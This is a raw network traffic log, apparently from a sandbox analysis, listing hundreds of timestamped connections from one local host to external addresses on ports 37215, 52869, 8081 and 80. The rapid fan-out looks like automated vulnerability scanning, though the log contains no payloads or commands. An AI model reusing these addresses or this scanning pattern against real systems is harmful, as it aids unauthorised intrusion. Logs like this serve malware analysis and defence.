Jul 20, 2024 23:10:38.570024967 CEST	52869	52370	113.59.43.68	192.168.2.15
Jul 20, 2024 23:10:38.570034981 CEST	36772	8081	192.168.2.15	139.20.180.119
Jul 20, 2024 23:10:38.570055962 CEST	46400	80	192.168.2.15	88.117.202.28
Jul 20, 2024 23:10:38.570064068 CEST	52370	52869	192.168.2.15	113.59.43.68
Jul 20, 2024 23:10:38.571111917 CEST	37215	58030	197.57.193.59	192.168.2.15
Jul 20, 2024 23:10:38.571127892 CEST	8081	42448	212.35.10.142	192.168.2.15
Jul 20, 2024 23:10:38.571142912 CEST	80	39232	88.192.255.224	192.168.2.15
Jul 20, 2024 23:10:38.571152925 CEST	58030	37215	192.168.2.15	197.57.193.59
Jul 20, 2024 23:10:38.571160078 CEST	42448	8081	192.168.2.15	212.35.10.142
Jul 20, 2024 23:10:38.571166992 CEST	39232	80	192.168.2.15	88.192.255.224
Jul 20, 2024 23:10:38.572035074 CEST	47498	8081	192.168.2.15	79.84.60.251
Jul 20, 2024 23:10:38.572607040 CEST	41534	80	192.168.2.15	88.139.130.203
Jul 20, 2024 23:10:38.573088884 CEST	60562	37215	192.168.2.15	149.205.10.158
Jul 20, 2024 23:10:38.573127985 CEST	52869	37090	44.227.239.111	192.168.2.15
Jul 20, 2024 23:10:38.573169947 CEST	37090	52869	192.168.2.15	44.227.239.111
Jul 20, 2024 23:10:38.573457003 CEST	59330	52869	192.168.2.15	107.205.165.229
Jul 20, 2024 23:10:38.574157000 CEST	8081	57236	98.32.247.128	192.168.2.15
Jul 20, 2024 23:10:38.574171066 CEST	80	53282	88.166.76.121	192.168.2.15
Jul 20, 2024 23:10:38.574197054 CEST	57236	8081	192.168.2.15	98.32.247.128
Jul 20, 2024 23:10:38.574203968 CEST	53282	80	192.168.2.15	88.166.76.121
Jul 20, 2024 23:10:38.574285984 CEST	37215	55552	83.35.196.3	192.168.2.15
Jul 20, 2024 23:10:38.574506998 CEST	55552	37215	192.168.2.15	83.35.196.3
Jul 20, 2024 23:10:38.574742079 CEST	52869	58808	8.28.61.99	192.168.2.15
Jul 20, 2024 23:10:38.574780941 CEST	58808	52869	192.168.2.15	8.28.61.99
Jul 20, 2024 23:10:38.575654030 CEST	38690	8081	192.168.2.15	124.113.55.225
Jul 20, 2024 23:10:38.576010942 CEST	54012	80	192.168.2.15	88.239.107.91
Jul 20, 2024 23:10:38.577397108 CEST	37000	37215	192.168.2.15	197.115.200.222
Jul 20, 2024 23:10:38.577737093 CEST	8081	47498	79.84.60.251	192.168.2.15
Jul 20, 2024 23:10:38.577752113 CEST	80	41534	88.139.130.203	192.168.2.15
Jul 20, 2024 23:10:38.577775955 CEST	55596	52869	192.168.2.15	185.59.206.11
Jul 20, 2024 23:10:38.577775955 CEST	47498	8081	192.168.2.15	79.84.60.251
Jul 20, 2024 23:10:38.577775955 CEST	41534	80	192.168.2.15	88.139.130.203
Jul 20, 2024 23:10:38.578402996 CEST	37215	60562	149.205.10.158	192.168.2.15
Jul 20, 2024 23:10:38.578450918 CEST	60562	37215	192.168.2.15	149.205.10.158
Jul 20, 2024 23:10:38.578950882 CEST	52869	59330	107.205.165.229	192.168.2.15
Jul 20, 2024 23:10:38.578993082 CEST	59330	52869	192.168.2.15	107.205.165.229
Jul 20, 2024 23:10:38.579900026 CEST	43330	8081	192.168.2.15	104.127.16.83
Jul 20, 2024 23:10:38.580528021 CEST	39870	80	192.168.2.15	88.206.166.4
Jul 20, 2024 23:10:38.580832005 CEST	8081	38690	124.113.55.225	192.168.2.15
Jul 20, 2024 23:10:38.580902100 CEST	38690	8081	192.168.2.15	124.113.55.225
Jul 20, 2024 23:10:38.581299067 CEST	80	54012	88.239.107.91	192.168.2.15
Jul 20, 2024 23:10:38.581336021 CEST	54012	80	192.168.2.15	88.239.107.91
Jul 20, 2024 23:10:38.581672907 CEST	59786	52869	192.168.2.15	73.203.24.52
Jul 20, 2024 23:10:38.582144976 CEST	45450	37215	192.168.2.15	197.238.161.20
Jul 20, 2024 23:10:38.582822084 CEST	37215	37000	197.115.200.222	192.168.2.15
Jul 20, 2024 23:10:38.582870960 CEST	37000	37215	192.168.2.15	197.115.200.222
Jul 20, 2024 23:10:38.582885027 CEST	52869	55596	185.59.206.11	192.168.2.15
Jul 20, 2024 23:10:38.582927942 CEST	55596	52869	192.168.2.15	185.59.206.11
Jul 20, 2024 23:10:38.583631992 CEST	53590	8081	192.168.2.15	193.51.219.44
Jul 20, 2024 23:10:38.584264994 CEST	33120	80	192.168.2.15	88.131.16.171
Jul 20, 2024 23:10:38.585283995 CEST	8081	43330	104.127.16.83	192.168.2.15
Jul 20, 2024 23:10:38.585334063 CEST	43330	8081	192.168.2.15	104.127.16.83
Jul 20, 2024 23:10:38.585971117 CEST	80	39870	88.206.166.4	192.168.2.15
Jul 20, 2024 23:10:38.586009026 CEST	39870	80	192.168.2.15	88.206.166.4
Jul 20, 2024 23:10:38.586587906 CEST	48646	52869	192.168.2.15	209.99.231.53
Jul 20, 2024 23:10:38.586803913 CEST	52869	59786	73.203.24.52	192.168.2.15
Jul 20, 2024 23:10:38.586858034 CEST	59786	52869	192.168.2.15	73.203.24.52
Jul 20, 2024 23:10:38.587264061 CEST	37215	45450	197.238.161.20	192.168.2.15
Jul 20, 2024 23:10:38.587292910 CEST	35514	37215	192.168.2.15	173.213.209.100
Jul 20, 2024 23:10:38.587333918 CEST	45450	37215	192.168.2.15	197.238.161.20
Jul 20, 2024 23:10:38.588570118 CEST	45256	8081	192.168.2.15	95.67.212.64
Jul 20, 2024 23:10:38.588696957 CEST	8081	53590	193.51.219.44	192.168.2.15
Jul 20, 2024 23:10:38.588810921 CEST	53590	8081	192.168.2.15	193.51.219.44
Jul 20, 2024 23:10:38.589212894 CEST	52952	80	192.168.2.15	88.107.11.25
Jul 20, 2024 23:10:38.590150118 CEST	57064	52869	192.168.2.15	194.217.196.209
Jul 20, 2024 23:10:38.590712070 CEST	80	33120	88.131.16.171	192.168.2.15
Jul 20, 2024 23:10:38.590763092 CEST	33120	80	192.168.2.15	88.131.16.171
Jul 20, 2024 23:10:38.591550112 CEST	52869	48646	209.99.231.53	192.168.2.15
Jul 20, 2024 23:10:38.591609001 CEST	48646	52869	192.168.2.15	209.99.231.53
Jul 20, 2024 23:10:38.592031002 CEST	34876	37215	192.168.2.15	44.121.163.52
Jul 20, 2024 23:10:38.592206001 CEST	37215	35514	173.213.209.100	192.168.2.15
Jul 20, 2024 23:10:38.592245102 CEST	40410	8081	192.168.2.15	31.8.205.246
Jul 20, 2024 23:10:38.592271090 CEST	35514	37215	192.168.2.15	173.213.209.100
Jul 20, 2024 23:10:38.592797995 CEST	36876	80	192.168.2.15	88.137.64.145
Jul 20, 2024 23:10:38.594588995 CEST	42446	52869	192.168.2.15	222.31.20.54
Jul 20, 2024 23:10:38.594815969 CEST	8081	45256	95.67.212.64	192.168.2.15
Jul 20, 2024 23:10:38.594860077 CEST	45256	8081	192.168.2.15	95.67.212.64
Jul 20, 2024 23:10:38.595880032 CEST	80	52952	88.107.11.25	192.168.2.15
Jul 20, 2024 23:10:38.595916033 CEST	52952	80	192.168.2.15	88.107.11.25
Jul 20, 2024 23:10:38.596462011 CEST	35092	37215	192.168.2.15	157.149.230.36
Jul 20, 2024 23:10:38.596695900 CEST	57618	8081	192.168.2.15	93.134.175.245
Jul 20, 2024 23:10:38.596939087 CEST	52869	57064	194.217.196.209	192.168.2.15
Jul 20, 2024 23:10:38.597009897 CEST	57064	52869	192.168.2.15	194.217.196.209
Jul 20, 2024 23:10:38.597094059 CEST	35072	80	192.168.2.15	88.140.27.176
Jul 20, 2024 23:10:38.597103119 CEST	37215	34876	44.121.163.52	192.168.2.15
Jul 20, 2024 23:10:38.597136974 CEST	34876	37215	192.168.2.15	44.121.163.52
Jul 20, 2024 23:10:38.597400904 CEST	8081	40410	31.8.205.246	192.168.2.15
Jul 20, 2024 23:10:38.597438097 CEST	40410	8081	192.168.2.15	31.8.205.246
Jul 20, 2024 23:10:38.597811937 CEST	80	36876	88.137.64.145	192.168.2.15
Jul 20, 2024 23:10:38.597850084 CEST	36876	80	192.168.2.15	88.137.64.145
Jul 20, 2024 23:10:38.598670006 CEST	42632	52869	192.168.2.15	102.181.59.60
Jul 20, 2024 23:10:38.599802017 CEST	52869	42446	222.31.20.54	192.168.2.15
Jul 20, 2024 23:10:38.599838972 CEST	42446	52869	192.168.2.15	222.31.20.54
Jul 20, 2024 23:10:38.600603104 CEST	34462	8081	192.168.2.15	59.64.211.16
Jul 20, 2024 23:10:38.601286888 CEST	58016	80	192.168.2.15	88.192.51.31
Jul 20, 2024 23:10:38.601413012 CEST	37215	35092	157.149.230.36	192.168.2.15
Jul 20, 2024 23:10:38.601450920 CEST	35092	37215	192.168.2.15	157.149.230.36
Jul 20, 2024 23:10:38.601628065 CEST	48196	37215	192.168.2.15	20.255.176.224
Jul 20, 2024 23:10:38.601639032 CEST	8081	57618	93.134.175.245	192.168.2.15
Jul 20, 2024 23:10:38.601798058 CEST	57618	8081	192.168.2.15	93.134.175.245
Jul 20, 2024 23:10:38.602504015 CEST	80	35072	88.140.27.176	192.168.2.15
Jul 20, 2024 23:10:38.602540016 CEST	35072	80	192.168.2.15	88.140.27.176
Jul 20, 2024 23:10:38.603864908 CEST	52869	42632	102.181.59.60	192.168.2.15
Jul 20, 2024 23:10:38.603920937 CEST	42632	52869	192.168.2.15	102.181.59.60
Jul 20, 2024 23:10:38.604443073 CEST	32992	8081	192.168.2.15	158.32.146.168
Jul 20, 2024 23:10:38.604654074 CEST	47176	80	192.168.2.15	88.45.173.219
Jul 20, 2024 23:10:38.605078936 CEST	39728	37215	192.168.2.15	197.202.153.125
Jul 20, 2024 23:10:38.607336044 CEST	54142	37215	192.168.2.15	197.39.42.138
Jul 20, 2024 23:10:38.607867002 CEST	8081	34462	59.64.211.16	192.168.2.15
Jul 20, 2024 23:10:38.607884884 CEST	80	58016	88.192.51.31	192.168.2.15
Jul 20, 2024 23:10:38.607911110 CEST	34462	8081	192.168.2.15	59.64.211.16
Jul 20, 2024 23:10:38.607912064 CEST	58016	80	192.168.2.15	88.192.51.31
Jul 20, 2024 23:10:38.608308077 CEST	37215	48196	20.255.176.224	192.168.2.15
Jul 20, 2024 23:10:38.608355999 CEST	48196	37215	192.168.2.15	20.255.176.224
Jul 20, 2024 23:10:38.609272957 CEST	47674	37215	192.168.2.15	13.252.226.77
Jul 20, 2024 23:10:38.609518051 CEST	8081	32992	158.32.146.168	192.168.2.15
Jul 20, 2024 23:10:38.609555960 CEST	32992	8081	192.168.2.15	158.32.146.168
Jul 20, 2024 23:10:38.610698938 CEST	80	47176	88.45.173.219	192.168.2.15
Jul 20, 2024 23:10:38.610713959 CEST	37215	39728	197.202.153.125	192.168.2.15
Jul 20, 2024 23:10:38.610742092 CEST	47176	80	192.168.2.15	88.45.173.219
Jul 20, 2024 23:10:38.610747099 CEST	39728	37215	192.168.2.15	197.202.153.125
Jul 20, 2024 23:10:38.610981941 CEST	40464	37215	192.168.2.15	197.182.32.204
Jul 20, 2024 23:10:38.612711906 CEST	37215	54142	197.39.42.138	192.168.2.15
Jul 20, 2024 23:10:38.612751961 CEST	54142	37215	192.168.2.15	197.39.42.138
Jul 20, 2024 23:10:38.613349915 CEST	51722	37215	192.168.2.15	157.66.206.67
Jul 20, 2024 23:10:38.614697933 CEST	49320	52869	192.168.2.15	14.134.150.109
Jul 20, 2024 23:10:38.614702940 CEST	37215	47674	13.252.226.77	192.168.2.15
Jul 20, 2024 23:10:38.614743948 CEST	47674	37215	192.168.2.15	13.252.226.77
Jul 20, 2024 23:10:38.615354061 CEST	33022	37215	192.168.2.15	41.133.211.18
Jul 20, 2024 23:10:38.616379023 CEST	37215	40464	197.182.32.204	192.168.2.15
Jul 20, 2024 23:10:38.616436958 CEST	40464	37215	192.168.2.15	197.182.32.204
Jul 20, 2024 23:10:38.616772890 CEST	40676	52869	192.168.2.15	217.115.151.81
Jul 20, 2024 23:10:38.618716002 CEST	37215	51722	157.66.206.67	192.168.2.15
Jul 20, 2024 23:10:38.618757963 CEST	51722	37215	192.168.2.15	157.66.206.67
Jul 20, 2024 23:10:38.619515896 CEST	55304	37215	192.168.2.15	157.178.175.186
Jul 20, 2024 23:10:38.619931936 CEST	52869	49320	14.134.150.109	192.168.2.15
Jul 20, 2024 23:10:38.619971037 CEST	49320	52869	192.168.2.15	14.134.150.109
Jul 20, 2024 23:10:38.620362043 CEST	37215	33022	41.133.211.18	192.168.2.15
Jul 20, 2024 23:10:38.620421886 CEST	33022	37215	192.168.2.15	41.133.211.18
Jul 20, 2024 23:10:38.620570898 CEST	42266	52869	192.168.2.15	8.126.91.237
Jul 20, 2024 23:10:38.621335030 CEST	41042	52869	192.168.2.15	189.209.128.109
Jul 20, 2024 23:10:38.621803045 CEST	52869	40676	217.115.151.81	192.168.2.15
Jul 20, 2024 23:10:38.621876001 CEST	40676	52869	192.168.2.15	217.115.151.81
Jul 20, 2024 23:10:38.622530937 CEST	47906	8081	192.168.2.15	151.208.135.249
Jul 20, 2024 23:10:38.622780085 CEST	46618	52869	192.168.2.15	1.160.86.11
Jul 20, 2024 23:10:38.623188019 CEST	39416	80	192.168.2.15	88.188.190.129
Jul 20, 2024 23:10:38.624109983 CEST	38634	8081	192.168.2.15	193.73.82.86
Jul 20, 2024 23:10:38.624361992 CEST	45616	52869	192.168.2.15	223.10.231.163
Jul 20, 2024 23:10:38.624636889 CEST	37215	55304	157.178.175.186	192.168.2.15
Jul 20, 2024 23:10:38.624675989 CEST	55304	37215	192.168.2.15	157.178.175.186
Jul 20, 2024 23:10:38.625545979 CEST	52869	42266	8.126.91.237	192.168.2.15
Jul 20, 2024 23:10:38.625587940 CEST	42266	52869	192.168.2.15	8.126.91.237
Jul 20, 2024 23:10:38.626055002 CEST	46142	8081	192.168.2.15	42.75.70.65
Jul 20, 2024 23:10:38.626123905 CEST	52869	41042	189.209.128.109	192.168.2.15
Jul 20, 2024 23:10:38.626158953 CEST	41042	52869	192.168.2.15	189.209.128.109
Jul 20, 2024 23:10:38.626313925 CEST	45686	52869	192.168.2.15	18.50.207.232
Jul 20, 2024 23:10:38.626964092 CEST	59424	80	192.168.2.15	88.255.190.143
Jul 20, 2024 23:10:38.627903938 CEST	60478	8081	192.168.2.15	60.13.47.181
Jul 20, 2024 23:10:38.628279924 CEST	8081	47906	151.208.135.249	192.168.2.15
Jul 20, 2024 23:10:38.628318071 CEST	47906	8081	192.168.2.15	151.208.135.249
Jul 20, 2024 23:10:38.628355980 CEST	39006	52869	192.168.2.15	120.127.21.138
Jul 20, 2024 23:10:38.628549099 CEST	52869	46618	1.160.86.11	192.168.2.15
Jul 20, 2024 23:10:38.628561974 CEST	80	39416	88.188.190.129	192.168.2.15
Jul 20, 2024 23:10:38.628753901 CEST	46618	52869	192.168.2.15	1.160.86.11
Jul 20, 2024 23:10:38.628753901 CEST	39416	80	192.168.2.15	88.188.190.129
Jul 20, 2024 23:10:38.629038095 CEST	8081	38634	193.73.82.86	192.168.2.15
Jul 20, 2024 23:10:38.629072905 CEST	38634	8081	192.168.2.15	193.73.82.86
Jul 20, 2024 23:10:38.629213095 CEST	52869	45616	223.10.231.163	192.168.2.15
Jul 20, 2024 23:10:38.629247904 CEST	45616	52869	192.168.2.15	223.10.231.163
Jul 20, 2024 23:10:38.630074024 CEST	42060	8081	192.168.2.15	101.27.114.183
Jul 20, 2024 23:10:38.630315065 CEST	54014	52869	192.168.2.15	116.118.210.76
Jul 20, 2024 23:10:38.630899906 CEST	37624	80	192.168.2.15	88.123.146.21
Jul 20, 2024 23:10:38.631814957 CEST	46422	8081	192.168.2.15	191.77.173.179
Jul 20, 2024 23:10:38.631856918 CEST	8081	46142	42.75.70.65	192.168.2.15
Jul 20, 2024 23:10:38.631889105 CEST	46142	8081	192.168.2.15	42.75.70.65
Jul 20, 2024 23:10:38.631978035 CEST	52869	45686	18.50.207.232	192.168.2.15
Jul 20, 2024 23:10:38.632011890 CEST	45686	52869	192.168.2.15	18.50.207.232
Jul 20, 2024 23:10:38.632066011 CEST	43734	52869	192.168.2.15	203.39.100.182
Jul 20, 2024 23:10:38.632143974 CEST	80	59424	88.255.190.143	192.168.2.15
Jul 20, 2024 23:10:38.632178068 CEST	59424	80	192.168.2.15	88.255.190.143
Jul 20, 2024 23:10:38.633177996 CEST	8081	60478	60.13.47.181	192.168.2.15
Jul 20, 2024 23:10:38.633217096 CEST	60478	8081	192.168.2.15	60.13.47.181
Jul 20, 2024 23:10:38.633703947 CEST	52869	39006	120.127.21.138	192.168.2.15
Jul 20, 2024 23:10:38.633766890 CEST	39006	52869	192.168.2.15	120.127.21.138
Jul 20, 2024 23:10:38.634222984 CEST	48766	8081	192.168.2.15	129.96.11.55
Jul 20, 2024 23:10:38.634659052 CEST	60064	52869	192.168.2.15	206.49.109.215
Jul 20, 2024 23:10:38.635035038 CEST	8081	42060	101.27.114.183	192.168.2.15
Jul 20, 2024 23:10:38.635094881 CEST	42060	8081	192.168.2.15	101.27.114.183
Jul 20, 2024 23:10:38.635113001 CEST	32904	80	192.168.2.15	88.102.2.6
Jul 20, 2024 23:10:38.635548115 CEST	52869	54014	116.118.210.76	192.168.2.15
Jul 20, 2024 23:10:38.635587931 CEST	54014	52869	192.168.2.15	116.118.210.76
Jul 20, 2024 23:10:38.636092901 CEST	80	37624	88.123.146.21	192.168.2.15
Jul 20, 2024 23:10:38.636132002 CEST	37624	80	192.168.2.15	88.123.146.21
Jul 20, 2024 23:10:38.636199951 CEST	52796	8081	192.168.2.15	196.239.70.8
Jul 20, 2024 23:10:38.636462927 CEST	42578	52869	192.168.2.15	187.182.235.57
Jul 20, 2024 23:10:38.636707067 CEST	8081	46422	191.77.173.179	192.168.2.15
Jul 20, 2024 23:10:38.636740923 CEST	46422	8081	192.168.2.15	191.77.173.179
Jul 20, 2024 23:10:38.637444019 CEST	52869	43734	203.39.100.182	192.168.2.15
Jul 20, 2024 23:10:38.637479067 CEST	43734	52869	192.168.2.15	203.39.100.182
Jul 20, 2024 23:10:38.638413906 CEST	38786	8081	192.168.2.15	38.56.107.193
Jul 20, 2024 23:10:38.638873100 CEST	53954	52869	192.168.2.15	203.62.78.235
Jul 20, 2024 23:10:38.639247894 CEST	47464	37215	192.168.2.15	78.250.115.189
Jul 20, 2024 23:10:38.639391899 CEST	8081	48766	129.96.11.55	192.168.2.15
Jul 20, 2024 23:10:38.639431953 CEST	48766	8081	192.168.2.15	129.96.11.55
Jul 20, 2024 23:10:38.639746904 CEST	46806	80	192.168.2.15	88.58.50.162
Jul 20, 2024 23:10:38.639831066 CEST	52869	60064	206.49.109.215	192.168.2.15
Jul 20, 2024 23:10:38.639866114 CEST	60064	52869	192.168.2.15	206.49.109.215
Jul 20, 2024 23:10:38.640314102 CEST	80	32904	88.102.2.6	192.168.2.15
Jul 20, 2024 23:10:38.640353918 CEST	32904	80	192.168.2.15	88.102.2.6
Jul 20, 2024 23:10:38.641294956 CEST	57468	8081	192.168.2.15	53.134.227.78
Jul 20, 2024 23:10:38.641705990 CEST	57284	52869	192.168.2.15	64.61.109.158
Jul 20, 2024 23:10:38.642658949 CEST	8081	52796	196.239.70.8	192.168.2.15
Jul 20, 2024 23:10:38.642695904 CEST	52796	8081	192.168.2.15	196.239.70.8
Jul 20, 2024 23:10:38.642731905 CEST	52869	42578	187.182.235.57	192.168.2.15
Jul 20, 2024 23:10:38.642767906 CEST	42578	52869	192.168.2.15	187.182.235.57
Jul 20, 2024 23:10:38.642826080 CEST	42418	37215	192.168.2.15	216.125.26.34
Jul 20, 2024 23:10:38.643909931 CEST	8081	38786	38.56.107.193	192.168.2.15
Jul 20, 2024 23:10:38.643923044 CEST	52869	53954	203.62.78.235	192.168.2.15
Jul 20, 2024 23:10:38.643948078 CEST	38786	8081	192.168.2.15	38.56.107.193
Jul 20, 2024 23:10:38.643960953 CEST	53954	52869	192.168.2.15	203.62.78.235
Jul 20, 2024 23:10:38.644649029 CEST	37215	47464	78.250.115.189	192.168.2.15
Jul 20, 2024 23:10:38.644675016 CEST	59664	8081	192.168.2.15	103.141.108.85
Jul 20, 2024 23:10:38.644681931 CEST	47464	37215	192.168.2.15	78.250.115.189
Jul 20, 2024 23:10:38.644814968 CEST	80	46806	88.58.50.162	192.168.2.15
Jul 20, 2024 23:10:38.644916058 CEST	37910	52869	192.168.2.15	90.4.66.163
Jul 20, 2024 23:10:38.645062923 CEST	46806	80	192.168.2.15	88.58.50.162
Jul 20, 2024 23:10:38.645636082 CEST	42662	80	192.168.2.15	88.126.87.180
Jul 20, 2024 23:10:38.646091938 CEST	46082	37215	192.168.2.15	197.146.154.155
Jul 20, 2024 23:10:38.647169113 CEST	39460	8081	192.168.2.15	188.77.70.4
Jul 20, 2024 23:10:38.647430897 CEST	55586	52869	192.168.2.15	126.171.98.117
Jul 20, 2024 23:10:38.649976015 CEST	8081	57468	53.134.227.78	192.168.2.15
Jul 20, 2024 23:10:38.649991035 CEST	52869	57284	64.61.109.158	192.168.2.15
Jul 20, 2024 23:10:38.650027990 CEST	57468	8081	192.168.2.15	53.134.227.78
Jul 20, 2024 23:10:38.650027037 CEST	57284	52869	192.168.2.15	64.61.109.158
Jul 20, 2024 23:10:38.650880098 CEST	37215	42418	216.125.26.34	192.168.2.15
Jul 20, 2024 23:10:38.650913954 CEST	42418	37215	192.168.2.15	216.125.26.34
Jul 20, 2024 23:10:38.651815891 CEST	8081	59664	103.141.108.85	192.168.2.15
Jul 20, 2024 23:10:38.651909113 CEST	59664	8081	192.168.2.15	103.141.108.85
Jul 20, 2024 23:10:38.652358055 CEST	52869	37910	90.4.66.163	192.168.2.15
Jul 20, 2024 23:10:38.652394056 CEST	37910	52869	192.168.2.15	90.4.66.163
Jul 20, 2024 23:10:38.653254032 CEST	80	42662	88.126.87.180	192.168.2.15
Jul 20, 2024 23:10:38.653346062 CEST	42662	80	192.168.2.15	88.126.87.180
Jul 20, 2024 23:10:38.653713942 CEST	37215	46082	197.146.154.155	192.168.2.15
Jul 20, 2024 23:10:38.653805971 CEST	46082	37215	192.168.2.15	197.146.154.155
Jul 20, 2024 23:10:38.654920101 CEST	8081	39460	188.77.70.4	192.168.2.15
Jul 20, 2024 23:10:38.654953957 CEST	39460	8081	192.168.2.15	188.77.70.4
Jul 20, 2024 23:10:38.655759096 CEST	52869	55586	126.171.98.117	192.168.2.15
Jul 20, 2024 23:10:38.655806065 CEST	55586	52869	192.168.2.15	126.171.98.117
Jul 20, 2024 23:10:38.659697056 CEST	48814	37215	192.168.2.15	157.176.38.133
Jul 20, 2024 23:10:38.666332006 CEST	37215	48814	157.176.38.133	192.168.2.15
Jul 20, 2024 23:10:38.666486979 CEST	48814	37215	192.168.2.15	157.176.38.133
Jul 20, 2024 23:10:38.695837975 CEST	37816	8081	192.168.2.15	209.233.239.62
Jul 20, 2024 23:10:38.702507019 CEST	8081	37816	209.233.239.62	192.168.2.15
Jul 20, 2024 23:10:38.702564001 CEST	37816	8081	192.168.2.15	209.233.239.62
Jul 20, 2024 23:10:38.707765102 CEST	49796	52869	192.168.2.15	151.94.173.235
Jul 20, 2024 23:10:38.713027954 CEST	52869	49796	151.94.173.235	192.168.2.15
Jul 20, 2024 23:10:38.713076115 CEST	49796	52869	192.168.2.15	151.94.173.235
Jul 20, 2024 23:10:38.735785007 CEST	47046	80	192.168.2.15	88.180.237.224
Jul 20, 2024 23:10:38.741178989 CEST	80	47046	88.180.237.224	192.168.2.15
Jul 20, 2024 23:10:38.741322041 CEST	47046	80	192.168.2.15	88.180.237.224
Jul 20, 2024 23:10:38.751849890 CEST	47084	37215	192.168.2.15	41.218.65.16
Jul 20, 2024 23:10:38.761372089 CEST	37215	47084	41.218.65.16	192.168.2.15
Jul 20, 2024 23:10:38.761509895 CEST	47084	37215	192.168.2.15	41.218.65.16
Jul 20, 2024 23:10:38.787924051 CEST	54870	8081	192.168.2.15	24.230.85.184
Jul 20, 2024 23:10:38.793207884 CEST	8081	54870	24.230.85.184	192.168.2.15
Jul 20, 2024 23:10:38.793349981 CEST	54870	8081	192.168.2.15	24.230.85.184
Jul 20, 2024 23:10:38.795785904 CEST	47514	52869	192.168.2.15	169.249.196.201
Jul 20, 2024 23:10:38.801368952 CEST	52869	47514	169.249.196.201	192.168.2.15
Jul 20, 2024 23:10:38.801435947 CEST	47514	52869	192.168.2.15	169.249.196.201
Jul 20, 2024 23:10:38.802196980 CEST	47244	37215	192.168.2.15	157.169.76.138
Jul 20, 2024 23:10:38.803066969 CEST	41428	8081	192.168.2.15	65.144.4.91
Jul 20, 2024 23:10:38.803291082 CEST	48858	52869	192.168.2.15	210.2.46.1
Jul 20, 2024 23:10:38.803881884 CEST	43254	80	192.168.2.15	88.45.23.189
Jul 20, 2024 23:10:38.804270029 CEST	54602	37215	192.168.2.15	182.92.42.223
Jul 20, 2024 23:10:38.805052042 CEST	46486	8081	192.168.2.15	120.75.38.85
Jul 20, 2024 23:10:38.805520058 CEST	58502	52869	192.168.2.15	32.52.148.97
Jul 20, 2024 23:10:38.806952953 CEST	52554	37215	192.168.2.15	197.20.220.200
Jul 20, 2024 23:10:38.807627916 CEST	37215	47244	157.169.76.138	192.168.2.15
Jul 20, 2024 23:10:38.807682991 CEST	47244	37215	192.168.2.15	157.169.76.138
Jul 20, 2024 23:10:38.807715893 CEST	44964	8081	192.168.2.15	116.99.52.164
Jul 20, 2024 23:10:38.808502913 CEST	54092	52869	192.168.2.15	13.3.106.56
Jul 20, 2024 23:10:38.809092045 CEST	40086	80	192.168.2.15	88.86.198.212
Jul 20, 2024 23:10:38.809459925 CEST	53362	37215	192.168.2.15	9.118.192.30
Jul 20, 2024 23:10:38.810559034 CEST	43458	8081	192.168.2.15	73.57.192.131
Jul 20, 2024 23:10:38.811050892 CEST	39414	52869	192.168.2.15	133.58.253.32
Jul 20, 2024 23:10:38.811167955 CEST	8081	41428	65.144.4.91	192.168.2.15
Jul 20, 2024 23:10:38.811218023 CEST	41428	8081	192.168.2.15	65.144.4.91
Jul 20, 2024 23:10:38.811228991 CEST	52869	48858	210.2.46.1	192.168.2.15
Jul 20, 2024 23:10:38.811244011 CEST	80	43254	88.45.23.189	192.168.2.15
Jul 20, 2024 23:10:38.811286926 CEST	43254	80	192.168.2.15	88.45.23.189
Jul 20, 2024 23:10:38.811291933 CEST	48858	52869	192.168.2.15	210.2.46.1
Jul 20, 2024 23:10:38.811300039 CEST	37215	54602	182.92.42.223	192.168.2.15
Jul 20, 2024 23:10:38.811315060 CEST	8081	46486	120.75.38.85	192.168.2.15
Jul 20, 2024 23:10:38.811340094 CEST	54602	37215	192.168.2.15	182.92.42.223
Jul 20, 2024 23:10:38.811352968 CEST	52869	58502	32.52.148.97	192.168.2.15
Jul 20, 2024 23:10:38.811629057 CEST	58502	52869	192.168.2.15	32.52.148.97
Jul 20, 2024 23:10:38.811770916 CEST	46486	8081	192.168.2.15	120.75.38.85
Jul 20, 2024 23:10:38.812124968 CEST	37215	52554	197.20.220.200	192.168.2.15
Jul 20, 2024 23:10:38.812166929 CEST	52554	37215	192.168.2.15	197.20.220.200
Jul 20, 2024 23:10:38.812581062 CEST	34532	37215	192.168.2.15	157.241.6.192
Jul 20, 2024 23:10:38.813399076 CEST	34512	8081	192.168.2.15	9.154.150.75
Jul 20, 2024 23:10:38.813627005 CEST	51758	52869	192.168.2.15	65.211.208.187
Jul 20, 2024 23:10:38.813755035 CEST	8081	44964	116.99.52.164	192.168.2.15
Jul 20, 2024 23:10:38.813795090 CEST	44964	8081	192.168.2.15	116.99.52.164
Jul 20, 2024 23:10:38.813884974 CEST	52869	54092	13.3.106.56	192.168.2.15
Jul 20, 2024 23:10:38.813926935 CEST	54092	52869	192.168.2.15	13.3.106.56
Jul 20, 2024 23:10:38.814414024 CEST	80	40086	88.86.198.212	192.168.2.15
Jul 20, 2024 23:10:38.814460993 CEST	40086	80	192.168.2.15	88.86.198.212
Jul 20, 2024 23:10:38.814497948 CEST	38080	80	192.168.2.15	88.68.210.140
Jul 20, 2024 23:10:38.814666033 CEST	37215	53362	9.118.192.30	192.168.2.15
Jul 20, 2024 23:10:38.814707041 CEST	53362	37215	192.168.2.15	9.118.192.30
Jul 20, 2024 23:10:38.815211058 CEST	59708	37215	192.168.2.15	41.162.253.225
Jul 20, 2024 23:10:38.816051006 CEST	40874	8081	192.168.2.15	89.94.228.2
Jul 20, 2024 23:10:38.816298962 CEST	48182	52869	192.168.2.15	109.51.3.47
Jul 20, 2024 23:10:38.816437960 CEST	8081	43458	73.57.192.131	192.168.2.15
Jul 20, 2024 23:10:38.816489935 CEST	43458	8081	192.168.2.15	73.57.192.131
Jul 20, 2024 23:10:38.816505909 CEST	52869	39414	133.58.253.32	192.168.2.15
Jul 20, 2024 23:10:38.816570044 CEST	39414	52869	192.168.2.15	133.58.253.32
Jul 20, 2024 23:10:38.818000078 CEST	45306	37215	192.168.2.15	197.89.116.170
Jul 20, 2024 23:10:38.818383932 CEST	37215	34532	157.241.6.192	192.168.2.15
Jul 20, 2024 23:10:38.818428040 CEST	34532	37215	192.168.2.15	157.241.6.192
Jul 20, 2024 23:10:38.818803072 CEST	53858	8081	192.168.2.15	109.254.234.165
Jul 20, 2024 23:10:38.819250107 CEST	47828	52869	192.168.2.15	96.224.29.242
Jul 20, 2024 23:10:38.819847107 CEST	33744	80	192.168.2.15	88.114.90.66
Jul 20, 2024 23:10:38.819880009 CEST	8081	34512	9.154.150.75	192.168.2.15
Jul 20, 2024 23:10:38.819895029 CEST	52869	51758	65.211.208.187	192.168.2.15
Jul 20, 2024 23:10:38.819931030 CEST	34512	8081	192.168.2.15	9.154.150.75
